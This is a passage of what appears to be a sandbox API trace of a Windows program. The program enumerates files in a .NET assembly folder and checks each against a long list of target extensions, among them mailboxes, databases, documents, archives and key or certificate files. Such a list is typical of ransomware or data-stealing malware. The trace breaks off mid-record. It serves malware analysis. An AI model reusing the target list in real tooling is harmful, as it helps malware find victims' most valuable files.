(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0111.236] lstrlenA (lpString="*.pst") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0111.236] lstrlenA (lpString="*.ost") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0111.236] lstrlenA (lpString="*.idx") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.236] lstrlenA (lpString="*.dbx") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0111.236] lstrlenA (lpString="*.sql") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.236] lstrlenA (lpString="*.mdb") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.236] lstrlenA (lpString="*.fdb") returned 5 [0111.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0111.237] lstrlenA (lpString="*.wab") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0111.237] lstrlenA (lpString="*.dat") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0111.237] lstrlenA (lpString="*.txt") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.237] lstrlenA (lpString="*.jpeg") returned 6 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.237] lstrlenA (lpString="*.jpg") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.png") returned 0 [0111.237] lstrlenA (lpString="*.png") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.php") returned 0 [0111.237] lstrlenA (lpString="*.php") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0111.237] lstrlenA (lpString="*.cs") returned 4 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.237] lstrlenA (lpString="*.cpp") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0111.237] lstrlenA (lpString="*.rar") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0111.237] lstrlenA (lpString="*.zip") returned 5 [0111.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.html") returned 0 [0111.237] lstrlenA (lpString="*.html") returned 6 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0111.238] lstrlenA (lpString="*.htm") returned 5 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.238] lstrlenA (lpString="*.xlsx") returned 6 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0111.238] lstrlenA (lpString="*.xls") returned 5 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.238] lstrlenA (lpString="*.mp4") returned 5 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.238] lstrlenA (lpString="*.ppt") returned 5 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.238] lstrlenA (lpString="*.pptx") returned 6 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0111.238] lstrlenA (lpString="*.doc") returned 5 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0111.238] lstrlenA (lpString="*.dot") returned 5 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0111.238] lstrlenA (lpString="*.docx") returned 6 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0111.238] lstrlenA (lpString="*.7z") returned 4 [0111.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0111.239] lstrlenA (lpString="*.tar") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.239] lstrlenA (lpString="*.bz2") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0111.239] lstrlenA (lpString="*.gz") returned 4 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.239] lstrlenA (lpString="*.mkv") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.239] lstrlenA (lpString="*.eml") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0111.239] lstrlenA (lpString="*.msg") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0111.239] lstrlenA (lpString="*.edb") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.239] lstrlenA (lpString="*.accdb") returned 7 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0111.239] lstrlenA (lpString="*.odb") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.java") returned 0 [0111.239] lstrlenA (lpString="*.java") returned 6 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0111.239] lstrlenA (lpString="*.asm") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.239] lstrlenA (lpString="*.pfx") returned 5 [0111.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0111.240] lstrlenA (lpString="*.pem") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0111.240] lstrlenA (lpString="*.p12") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.240] lstrlenA (lpString="*.gpg") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.240] lstrlenA (lpString="*.vsd") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0111.240] lstrlenA (lpString="*.odg") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0111.240] lstrlenA (lpString="*.raw") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0111.240] lstrlenA (lpString="*.nef") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0111.240] lstrlenA (lpString="*.svg") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0111.240] lstrlenA (lpString="*.psd") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.240] lstrlenA (lpString="*.vmx") returned 5 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.240] lstrlenA (lpString="*.vmdk") returned 6 [0111.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.241] lstrlenA (lpString="*.vdi") returned 5 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.241] lstrlenA (lpString="*.lay6") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.241] lstrlenA (lpString="*.mpeg") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.241] lstrlenA (lpString="*.djvu") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.241] lstrlenA (lpString="*.tiff") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0111.241] lstrlenA (lpString="*.backup") returned 8 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.241] lstrlenA (lpString="*.pdf") returned 5 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0111.241] lstrlenA (lpString="*.cert") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0111.241] lstrlenA (lpString="*.docm") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.241] lstrlenA (lpString="*.xlsm") returned 6 [0111.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.241] lstrlenA (lpString="*.dwg") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0111.242] lstrlenA (lpString="*.nd") returned 4 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.242] lstrlenA (lpString="*.tlg") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.242] lstrlenA (lpString="*.lgb") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0111.242] lstrlenA (lpString="*.mov") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.242] lstrlenA (lpString="*.xdw") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0111.242] lstrlenA (lpString="*.ods") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0111.242] lstrlenA (lpString="*.wav") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.242] lstrlenA (lpString="*.mp3") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.242] lstrlenA (lpString="*.aiff") returned 6 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0111.242] lstrlenA (lpString="*.flac") returned 6 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.242] lstrlenA (lpString="*.m4a") returned 5 [0111.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d67f3850760979cd607ec8f5259fb9a9\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0111.242] lstrlenA (lpString="*.csv") returned 5 [0111.243] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732c6b60, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x732c6b60, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x732c6b60, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x37400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.243] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.243] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d240070, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d240070, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d240070, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="daa561280ac1119d9c2694442212aaea", cAlternateFileName="DAA561~1")) returned 1 [0111.243] lstrcmpA (lpString1=".", lpString2="daa561280ac1119d9c2694442212aaea") returned -1 [0111.243] lstrcmpA (lpString1="..", lpString2="daa561280ac1119d9c2694442212aaea") returned -1 [0111.243] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.243] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="daa561280ac1119d9c2694442212aaea" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea" [0111.243] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea") returned 100 [0111.243] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d240070, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d240070, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d240070, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.249] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.250] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d240070, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d240070, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d240070, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.254] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.254] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.254] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d219f10, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d219f10, ftLastAccessTime.dwHighDateTime=0x1d301c0, 